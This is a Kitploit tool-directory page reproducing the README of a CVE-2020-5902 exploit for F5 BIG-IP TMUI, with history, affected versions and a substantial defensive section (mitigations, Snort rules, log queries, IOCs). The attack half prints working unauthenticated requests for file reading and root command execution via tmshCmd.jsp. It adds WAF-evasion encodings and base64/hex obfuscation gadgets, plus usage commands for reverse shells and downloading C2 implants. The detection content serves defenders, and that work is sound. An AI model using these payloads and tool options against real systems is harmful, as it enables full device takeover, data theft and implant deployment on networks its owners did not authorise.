Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
F5-BIG-IP — O F5 BIG-IP é uma plataforma de entrega e segurança de aplicações amplamente utilizada em ambientes corporativos. A CVE-2020-5902 é uma vulnerabilidade crítica no TMUI que, em versões não corrigidas, pode permitir acesso não autorizado e execução remota de código, reforçando a necessidade de atualização e gestão contínua de vulnerabilidades. | Kitploit
Outils/GitHubGitHub/devrafaelprogrammer/f5-big-ip
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingCommand and ControlLearning & EducationRed TeamingPayload Development

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
GitHub
devrafaelprogrammer/f5-big-ip

F5-BIG-IP

Voir le dépôt
il y a 1 moisPas encore vérifié

À propos

O F5 BIG-IP é uma plataforma de entrega e segurança de aplicações amplamente utilizada em ambientes corporativos. A CVE-2020-5902 é uma vulnerabilidade crítica no TMUI que, em versões não corrigidas, pode permitir acesso não autorizado e execução remota de código, reforçando a necessidade de atualização e gestão contínua de vulnerabilidades.

Partager

CVE-2020-5902 — RCE F5 BIG-IP TMUI

Preuve de concept pour la vulnérabilité critique de traversée de chemin / exécution de code à distance dans l'interface utilisateur de gestion du trafic (TMUI) de F5 BIG-IP.

⚠️ Réservé aux tests d'intrusion autorisés et à la recherche en sécurité. Toute utilisation non autorisée contre des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas d'autorisation écrite est illégale. L'auteur décline toute responsabilité en cas d'usage abusif de cet outil.


Table des matières

  • Contexte
  • Analyse de la vulnérabilité
  • Plongée technique
  • Versions concernées
  • Fonctionnalités
  • Installation
  • Utilisation
  • Mesures défensives
  • Détection et chasse aux menaces
  • Chronologie
  • Références
  • Avertissement

Contexte

F5 BIG-IP est une famille d'appareils réseau polyvalents (équilibreurs de charge, WAF, contrôleurs de diffusion d'applications) déployée dans la majorité des entreprises du Fortune 500, des institutions financières, des organismes de santé et des agences gouvernementales dans le monde entier. L'interface utilisateur de gestion du trafic (TMUI) — également appelée utilitaire de configuration — est le portail de gestion web accessible sur le port 443 (ou 8443).

En juillet 2020, F5 a divulgué CVE-2020-5902, une vulnérabilité de traversée de chemin Critique (CVSS 9.8) non authentifiée dans TMUI qui permet à un attaquant distant non authentifié de :

  • Lire des fichiers arbitraires du système Linux sous-jacent (LFI)
  • Exécuter des commandes OS arbitraires en tant que root (RCE)
  • Compromettre entièrement l'appareil et pivoter vers les réseaux internes

En quelques jours après la divulgation publique, une exploitation massive a été observée, y compris par des acteurs étatiques.


Analyse de la vulnérabilité

Cause racine

TMUI est construit sur Apache Tomcat et utilise un filtre de servlet pour imposer l'authentification sur les ressources protégées. La vulnérabilité réside dans la façon dont Tomcat analyse les segments de chemin délimités par un point-virgule (;).

La requête suivante contourne complètement l'authentification :

root@kitploit:~
GET /tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd

Pourquoi cela fonctionne :

  1. Le filtre de servlet Tomcat voit le chemin comme /tmui/login.jsp (se termine avant ;) — qui est la page de connexion publique — et autorise la requête.
  2. Le résolveur d'URL de Tomcat traite ensuite /..;/ comme une traversée de chemin (/../) avant la distribution.
  3. La requête est finalement acheminée vers le servlet protégé fileRead.jsp sans authentification.
root@kitploit:~
┌──────────────────────────────────────────────────────────────────┐
│  Requête client                                                   │
│  GET /tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp     │
└────────────────────────────┬─────────────────────────────────────┘
                             │
             ┌───────────────▼───────────────┐
             │    Filtre de servlet Tomcat    │
             │  Voit : /tmui/login.jsp  ✓    │
             │  (point d'accès public → AUTORISER) │
             └───────────────┬───────────────┘
                             │
             ┌───────────────▼───────────────┐
             │    Résolveur d'URL Tomcat      │
             │  Résout : /..;/ → /../        │
             │  Chemin final : /tmui/locallb/│
             │  workspace/fileRead.jsp ← 🔓  │
             └───────────────┬───────────────┘
                             │
             ┌───────────────▼───────────────┐
             │  fileRead.jsp (pas de vérification) │
             │  Lit des fichiers arbitraires en root│
             └───────────────────────────────┘

De LFI à RCE

Le servlet tmshCmd.jsp (également accessible via la même traversée) transmet les paramètres command et utilCmdArgs directement à tmsh (le shell de gestion BIG-IP), qui exécute run util bash -c '...'. Cela permet une exécution de commandes OS de niveau root sans authentification :

root@kitploit:~
POST /tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp
command=run+util+bash+-c+'id'&utilCmdArgs=-c+'id'

Plongée technique

Déroulement de l'attaque

root@kitploit:~
Phase 1 : Reconnaissance
  └─ Reconnaissance de bannière TCP (empreinte HTTP/TLS)
  └─ Analyse du certificat SSL
  └─ Empreinte des en-têtes HTTP (Server, X-Powered-By, Set-Cookie)
  └─ Estimation de la version BIG-IP à partir de /etc/f5-release

Phase 2 : Vérification de la vulnérabilité
  └─ Itération sur 6 variantes de codage de traversée
  └─ Test sur 4 fichiers sentinelles connus lisibles
  └─ Confirmation que la sortie correspond aux indicateurs connus (root:x:0:0, BIG-IP, etc.)

Phase 3 : Exploitation
  ├─ Vecteur A : tmshCmd.jsp (RCE principal)
  │    └─ Commande obscurcie via gadgets base64 / hex-encode
  ├─ Vecteur B : fileRead.jsp + injection de commande dans le paramètre fileName
  │    └─ Commande OS injectée dans le paramètre fileName
  └─ Vecteur C : Empoisonnement des logs (injection User-Agent → lecture access_log)

Phase 4 : Post-exploitation (optionnel)
  ├─ Shell interactif (REPL de commande)
  ├─ Shell inverse (4 one-liners simultanés)
  ├─ Force brute LFI (30 chemins sensibles, parallèle)
  └─ Déploiement d'implant C2 (Sliver / Metasploit / personnalisé)

Variantes de codage de traversée

Gadgets d'obscurcissement de commande

L'outil applique l'un des deux gadgets d'obscurcissement par exécution, rendant la détection par signature statique plus difficile :

root@kitploit:~
# Gadget 1 — Pipeline d'encodage/décodage Base64
bash -c {echo,aWQ=}|{base64,-d}|bash

# Gadget 2 — Évaluation printf hexadécimale
eval "$(printf '\x69\x64')"

Versions concernées

BIG-IQ, BIG-IQ Centralized Management, F5OS et Traffix SDC ne sont pas concernés par cette CVE spécifique.


Fonctionnalités

  • Traversée de chemin multi-variantes — 6 permutations d'encodage pour contourner les signatures WAF/IDS
  • Trois vecteurs RCE indépendants — tmshCmd.jsp, injection fileRead, empoisonnement des logs
  • Gadgets d'obscurcissement de commande — pipelines base64 et hex-encode
  • Phase de reconnaissance passive — bannière TCP, empreinte SSL/TLS, analyse des en-têtes HTTP
  • Force brute LFI parallèle — 30 chemins sensibles, 10 threads simultanés
  • Shells inversés simultanés — 4 one-liners déclenchés en même temps
  • Intégration C2 — Sliver, Metasploit, implants personnalisés (Linux/Windows/PS1)
  • En-têtes d'évasion — User-Agents aléatoires, en-têtes de spoofing IP, en-têtes de bruit
  • REPL de shell interactif — commandes !revshell, !c2, !read, !brute
  • Support proxy — Intégration Burp Suite / mitmproxy

Installation

root@kitploit:~
git clone https://github.com/DevRafaelprogrammer/F5-BIG-IP.git
cd F5-BIG-IP
pip install requests pycryptodome urllib3

Prérequis : Python 3.10+


Utilisation

root@kitploit:~
python CVE-2020-5902.py [-h] [--port PORT] [--proxy URL] [--no-recon]
                        [--cmd CMD] [--shell] [--lfi-brute]
                        [--revshell LHOST LPORT]
                        [--c2-url URL] [--c2-type TYPE] [--c2-args ARGS]
                        target

Exemples

root@kitploit:~
# 1. Vérification de vulnérabilité uniquement
python CVE-2020-5902.py 192.168.1.100

# 2. Port personnalisé + exécution d'une seule commande
python CVE-2020-5902.py 192.168.1.100 --port 8443 --cmd "id && uname -a"

# 3. Shell interactif
python CVE-2020-5902.py 192.168.1.100 --shell

# 4. Force brute LFI (lit 30 chemins sensibles)
python CVE-2020-5902.py 192.168.1.100 --lfi-brute

# 5. Récupération de shell inverse
python CVE-2020-5902.py 192.168.1.100 --revshell 10.0.0.1 4444

# 6. Déploiement d'un implant C2 (exemple Sliver)
python CVE-2020-5902.py 192.168.1.100 \
  --c2-url http://10.0.0.1:8000/implant \
  --c2-type linux

# 7. Routage via Burp Suite pour inspection du trafic
python CVE-2020-5902.py 192.168.1.100 --proxy http://127.0.0.1:8080

Commandes du shell interactif

En mode --shell, les commandes spéciales suivantes sont disponibles :


Mesures défensives

Atténuations immédiates (si le correctif n'est pas encore possible)

1. Bloquer l'accès à TMUI depuis Internet

La mesure d'atténuation la plus efficace est de s'assurer que l'interface de gestion n'est jamais accessible depuis des réseaux non fiables :

root@kitploit:~
# BIG-IP : restreindre l'accès à la gestion à une VLAN/plage IP dédiée
tmsh modify sys httpd allow replace-all-with { 10.0.0.0/8 192.168.0.0/16 }
tmsh save sys config

Alternativement, depuis la configuration Self IP de BIG-IP, assurez-vous que le port de gestion n'a pas de route externe.

2. Appliquer l'atténuation officielle de F5 (avant correctif)

F5 a publié un script d'atténuation qui ajoute une règle RewriteRule Apache pour bloquer le motif de traversée :

root@kitploit:~
# /etc/httpd/conf.d/CVE-2020-5902.conf
RewriteEngine On
RewriteCond %{THE_REQUEST} "([^\ ]+)\x3b" [NC]
RewriteRule ^ - [F,L]

Référence : K52145254 — Étapes d'atténuation

3. Correctif — Appliquer la version corrigée

La correction définitive consiste à mettre à niveau BIG-IP vers une version corrigée (voir le tableau Versions concernées). F5 a corrigé la logique du filtre de servlet pour analyser correctement les segments de chemin délimités par un point-virgule avant l'application de l'authentification.


Défenses au niveau de l'architecture

Accès Zero-Trust aux plans de gestion

root@kitploit:~
┌────────────────────────────────────────────────────────────────┐
│  ARCHITECTURE RECOMMANDÉE                                      │
│                                                                 │
│  Internet ──────► Pare-feu ──────► DMZ / Production           │
│                      │                                          │
│                      │  (REFUSER tout trafic vers ports de gestion)│
│                      │                                          │
│                   Jump Host ──────► BIG-IP TMUI (port 443)    │
│                 (MFA + VPN)         (VLAN de gestion uniquement)│
└────────────────────────────────────────────────────────────────┘

Principes clés :

  • Les interfaces de gestion ne doivent jamais être sur la même IP/port que le trafic de production
  • L'accès nécessite VPN + MFA avant d'atteindre le jump host
  • Le verrouillage des ports Self IP de BIG-IP doit être réglé sur Allow None ou Allow Defaults

Règles du pare-feu applicatif (WAF)

Si un WAF se trouve devant la gestion BIG-IP (inhabituel mais possible dans certaines architectures), ajoutez des règles pour bloquer :

  • Les requêtes contenant ; dans le chemin URL
  • Les requêtes correspondant à ..; ou %3b dans les segments de chemin
  • Les requêtes vers /tmui/locallb/workspace/ depuis des sources non liées à la gestion

Liste de vérification de durcissement de sécurité

root@kitploit:~
[ ] BIG-IP mis à jour vers une version corrigée
[ ] TMUI non exposé à Internet (vérifier avec Shodan/Censys)
[ ] VLAN de gestion séparée de la production
[ ] Verrouillage des ports Self IP configuré (Allow None ou Allow Defaults)
[ ] MFA appliquée sur l'accès à la gestion
[ ] Inventaire logiciel BIG-IP dans le système de gestion des actifs
[ ] Scan de vulnérabilité automatisé (Tenable/Qualys) inclut BIG-IP
[ ] Transfert de logs vers SIEM configuré (access_log, audit.log)
[ ] Segmentation réseau : un BIG-IP compromis ne peut pas atteindre les contrôleurs de domaine
[ ] Playbook de réponse aux incidents inclut le scénario de compromission d'équipement réseau

Détection et chasse aux menaces

Signatures IDS/IPS (Snort / Suricata)

root@kitploit:~
# Détection des tentatives de traversée de chemin (contournement par point-virgule)
alert http any any -> $HOME_NET 443 (
    msg:"CVE-2020-5902 F5 BIG-IP TMUI Path Traversal";
    flow:to_server,established;
    content:"tmui"; http_uri; nocase;
    content:"..;"; http_uri;
    content:"workspace"; http_uri; nocase;
    reference:cve,2020-5902;
    sid:9000001; rev:1;
)

# Détection de la variante avec point-virgule encodé
alert http any any -> $HOME_NET 443 (
    msg:"CVE-2020-5902 F5 BIG-IP TMUI Path Traversal (encoded)";
    flow:to_server,established;
    content:"tmui"; http_uri; nocase;
    content:"%3b"; http_uri; nocase;
    content:"fileRead"; http_uri; nocase;
    reference:cve,2020-5902;
    sid:9000002; rev:1;
)

Motif de log Apache/HTTPD (grep)

root@kitploit:~
# Rechercher les tentatives de traversée dans les logs d'accès BIG-IP
grep -iE "(\.\.;|%2e%2e|%252e|\.\.%3b|%2e%2e%3b)" /var/log/httpd/access_log

# Rechercher les accès réussis aux endpoints vulnérables
grep -iE "(fileRead\.jsp|tmshCmd\.jsp|workspace)" /var/log/httpd/access_log | \
  grep -v "^10\.\|^192\.168\.\|^172\.1[6-9]\.\|^172\.2[0-9]\.\|^172\.3[0-1]\."

Requête SIEM (Splunk SPL)

root@kitploit:~
index=network sourcetype=f5:bigip:access
  (uri_path="*..;*" OR uri_path="*%3b*" OR uri_path="*%2e%2e*")
  (uri_path="*workspace*" OR uri_path="*fileRead*" OR uri_path="*tmshCmd*")
| eval risk=if(status=200, "HIGH", "MEDIUM")
| stats count by src_ip, uri_path, status, risk
| sort -count

Indicateurs de compromission (IOCs)

Motifs d'URL :

root@kitploit:~
/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp
/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp
/tmui/login.jsp/%2e%2e;/tmui/locallb/workspace/fileRead.jsp
/tmui/login.jsp/..%3b/tmui/locallb/workspace/fileRead.jsp

Objectifs fréquents des attaquants (fichiers consultés) :

root@kitploit:~
/etc/passwd                  — collecte d'identifiants
/config/bigip.conf           — exfiltration de configuration VPN/routage
/config/bigip.license        — vol de clé de licence
/config/bigip_user.conf      — énumération des comptes administrateurs locaux
/root/.bash_history          — reconnaissance de commandes historiques

Chronologie


Références

  • NVD — CVE-2020-5902
  • Avis de sécurité F5 K52145254
  • Directive d'urgence CISA 20-03
  • Analyse Rapid7
  • Couverture BleepingComputer
  • Requête Shodan : http.title:"BIG-IP" port:443

Avertissement

Cet outil est fourni à des fins éducatives et pour des évaluations de sécurité autorisées uniquement. Il est destiné à :

  • Testeurs d'intrusion disposant d'une autorisation écrite du propriétaire de l'actif
  • Chercheurs en sécurité étudiant la vulnérabilité dans des environnements de laboratoire
  • Défenseurs construisant des signatures de détection et des configurations de durcissement
  • Participants à des compétitions CTF (Capture The Flag)

Utiliser cet outil contre des systèmes sans autorisation écrite explicite est une infraction pénale en vertu du Computer Fraud and Abuse Act (CFAA), du UK Computer Misuse Act, de la loi brésilienne n° 12.737/2012 (Lei Carolina Dieckmann) et des lois équivalentes dans la plupart des juridictions mondiales.

L'auteur et les contributeurs de ce dépôt n'acceptent aucune responsabilité pour les dommages, conséquences juridiques ou autres préjudices résultant d'un usage abusif de ce logiciel.


Conçu pour la communauté de la recherche en sécurité. Corrigez vos systèmes. Protégez vos réseaux.

Télécharger l’outil
VarianteCharge utile
Standardtmui/login.jsp/..;/tmui/...
Point-virgule encodétmui/login.jsp/..%3b/tmui/...
Double encodage URLtmui%2flogin.jsp%2f..%3b%2ftmui%2f...
Points unicodetmui/login.jsp/%2e%2e;/tmui/...
Variation de casseTMUI/login.jsp/..;/tmui/...
Confusion de répertoiretmui/login.jsp/..;/tmui/locallb/workspace/../workspace/...
Branche BIG-IPPlage vulnérableVersion corrigée
15.x< 15.1.0.4≥ 15.1.0.4
14.x< 14.1.2.6≥ 14.1.2.6
13.x< 13.1.3.4≥ 13.1.3.4
12.x< 12.1.5.2≥ 12.1.5.2
11.x< 11.6.5.2≥ 11.6.5.2
CommandeDescription
!revshell <lhost> <lport>Déclenche 4 variantes de shell inverse simultanément
!c2 <url> <type> [args]Télécharge et exécute un implant C2
!read <path>Lit un fichier arbitraire via LFI
!bruteForce brute sur 30 chemins sensibles
!exitTermine la session
<toute commande OS>Exécute via RCE et affiche la sortie
DateÉvénement
2020-06-30F5 notifié en privé
2020-07-01F5 publie l'avis (K52145254) et les correctifs
2020-07-03PoC public publié sur Twitter
2020-07-04Exploitation massive observée par plusieurs firmes de renseignement sur les menaces
2020-07-06CISA publie la directive d'urgence 20-03 imposant le correctif fédéral
2020-07-09Acteurs étatiques (APT) confirmés exploitant la vulnérabilité dans la nature
2020-07-15Environ 8 000 instances BIG-IP encore non corrigées (Shodan)
2020-08-xxDes groupes de ransomware commencent à cibler les équipements BIG-IP non corrigés